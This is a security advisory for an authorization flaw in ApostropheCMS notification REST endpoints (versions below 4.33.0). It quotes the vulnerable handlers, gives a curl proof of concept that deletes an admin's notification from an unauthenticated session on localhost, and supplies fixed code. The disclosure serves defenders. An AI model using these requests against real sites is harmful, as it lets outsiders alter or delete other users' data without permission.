| Package | Affected versions | Patched versions |
|---|---|---|
| apostrophe | < 4.33.0 | 4.33.0 |
The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.
As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.
File
packages/apostrophe/modules/@apostrophecms/notification/index.js
// restApiRoutes
async patch(req, _id) {
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
await self.db.updateOne(
{ _id },
{
$set: { dismissed },
$currentDate: { updatedAt: true }
}
);
}
},
async delete(req, _id) {
await self.db.deleteMany({ _id });
}
Unlike the GET notification route, these handlers do not verify:
req.user)userId === req.user._id)Instead, the supplied _id is used directly against the raw MongoDB collection.
The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.
While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.
For comparison, the GET notification route correctly checks:
if (!(req.user && req.user._id)) {
throw self.apos.error('invalid');
}
No equivalent validation exists in the PATCH or DELETE handlers.
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"username":"admin",
"password":"AdminP@ssw0rd123!",
"session":true
}'
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freecurl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"message":"manual verify test",
"type":"info"
}'
Example response:
{
"noteId":"p358r7phi2w8l245ww5130uf"
}
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Response:
{
"notifications":[
{
"_id":"p358r7phi2w8l245ww5130uf",
"userId":"i89h844o5n3nbreis0ugusum",
"message":"manual verify test"
}
],
"dismissed":[]
}
Create a fresh cookie jar containing only the public CSRF cookie:
rm -f anon_cookies.txt
curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
Then send the request without any authenticated session:
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"
Response:
HTTP/1.1 200 OK
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
Response:
{
"notifications":[],
"dismissed":[]
}
The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.
An attacker who obtains a valid notification ID can:
The vulnerability primarily affects integrity.
Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.
Require authentication before processing any modification request.
Additionally, scope all database operations to the authenticated user.
Example:
// patch
async patch(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
const result = await self.db.updateOne(
{ _id, userId: req.user._id }, // <-- ownership check
{ $set: { dismissed }, $currentDate: { updatedAt: true } }
);
if (!result.matchedCount) {
throw self.apos.error('notfound');
}
}
},
// delete
async delete(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const result = await self.db.deleteMany({ _id, userId: req.user._id });
if (!result.deletedCount) {
throw self.apos.error('notfound');
}
}
Similarly, update the PATCH handler to verify both authentication and ownership before updating notification records.
Every notification modification endpoint should:
userId === req.user._id).403 Forbidden for unauthorized requests._id.The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.